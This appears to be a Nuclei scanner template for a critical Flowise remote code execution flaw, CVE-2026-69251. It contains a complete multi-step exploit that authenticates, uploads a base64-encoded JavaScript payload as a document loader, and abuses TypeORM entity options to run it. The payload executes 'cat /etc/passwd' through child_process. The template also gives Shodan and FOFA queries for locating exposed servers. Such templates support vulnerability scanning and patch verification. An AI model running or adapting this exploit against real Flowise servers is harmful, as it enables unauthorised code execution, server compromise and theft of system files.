id: CVE-2026-69251 info: name: Flowise < 3.1.3 - Remote Code Execution author: 1dayexploit severity: critical description: | Flowise prior to 3.1.3 contains a remote code execution vulnerability caused by allowing authenticated users to set arbitrary TypeORM DataSource options including entities that load local JavaScript files, letting authenticated users execute arbitrary code on the server, exploit requires user authentication. impact: | Authenticated users can execute arbitrary code on the server, potentially leading to full system compromise. remediation: | Update to version 3.1.3 or later. reference: - https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-g32j-mmxr-gfq5 - https://github.com/FlowiseAI/Flowise/commit/d07186844263bad057008863037466aff7c3390f - https://nvd.nist.gov/vuln/detail/CVE-2026-69251 classification: cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H cvss-score: 9.0 cve-id: CVE-2026-69251 epss-score: 0.01058 epss-percentile: 0.62297 cwe-id: CWE-94 metadata: verified: true max-request: 5 vendor: flowiseai product: flowise shodan-query: http.title:"Flowise" fofa-query: title="Flowise" tags: cve,cve2026,flowise,rce,authenticated,typeorm,intrusive variables: fname: "{{to_lower(rand_text_alpha(8))}}" payload: "throw new Error(require('child_process').execSync('cat /etc/passwd').toString())" flow: http(1) && http(2) && http(3) && http(4) && http(5) http: - raw: - | POST /api/v1/auth/login HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"email":"{{username}}","password":"{{password}}"} skip-variables-check: true matchers: - type: dsl dsl: - 'contains_any(body, "activeOrganizationId", "Unauthorized Access")' condition: and internal: true - raw: - | POST /api/v1/document-store/store HTTP/1.1 Host: {{Hostname}} Content-Type: application/json x-request-from: internal {"name":"poc-{{fname}}","description":"CVE-2026-69251"} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "loaders")' condition: and internal: true extractors: - type: regex name: storeid part: body group: 1 regex: - '"id":"([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})"' internal: true - raw: - | POST /api/v1/document-store/loader/save HTTP/1.1 Host: {{Hostname}} Content-Type: application/json x-request-from: internal {"storeId":"{{storeid}}","loaderId":"fileLoader","loaderName":"poc","splitterId":"","loaderConfig":{"file":"data:application/javascript;base64,{{base64(payload)}},filename:{{fname}}.js","usage":"perPage"}} matchers: - type: dsl dsl: - 'status_code == 200' internal: true extractors: - type: regex name: loaderid part: body group: 1 regex: - '"id":"([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})"' internal: true - raw: - | POST /api/v1/document-store/loader/process/{{loaderid}} HTTP/1.1 Host: {{Hostname}} Content-Type: application/json x-request-from: internal {"id":"{{loaderid}}","storeId":"{{storeid}}","loaderId":"fileLoader","loaderName":"poc","splitterId":"","loaderConfig":{"file":"data:application/javascript;base64,{{base64(payload)}},filename:{{fname}}.js","usage":"perPage"}} matchers: - type: dsl dsl: - 'status_code == 200' internal: true - raw: - | POST /api/v1/document-store/vectorstore/insert HTTP/1.1 Host: {{Hostname}} Content-Type: application/json x-request-from: internal {"storeId":"{{storeid}}","recordManagerName":"SQLiteRecordManager","recordManagerConfig":{"tableName":"poc","cleanup":"none","sourceIdKey":"source","additionalConfig":"{\"entities\":[\"/root/.flowise/storage/**/{{fname}}.js\",\"/home/node/.flowise/storage/**/{{fname}}.js\",\"/app/.flowise/storage/**/{{fname}}.js\",\"/data/.flowise/storage/**/{{fname}}.js\"]}"},"embeddingName":"openAIEmbeddings","embeddingConfig":{"modelName":"text-embedding-ada-002"},"vectorStoreName":"weaviate","vectorStoreConfig":{"weaviateScheme":"http","weaviateHost":"127.0.0.1:8080","weaviateIndex":"Poc","weaviateTextKey":"text"}} matchers: - type: dsl dsl: - regex('root:.*:0:0:', body) - '!contains(body, "Disallowed TypeORM DataSource option")' condition: and extractors: - type: regex part: body group: 1 regex: - 'Error: (root:.*?)",\"stack' # digest: 4a0a0047304502204f60d1f6f82ca166967912666d505415772cd344f1f1a4b0747d49e1b1b1d0cc022100f08a60af664afe55f305f03cd1a64c751473a7b02e04de5a65b8e40cc84e572b:922c64590222798bb761d5b6d8e72950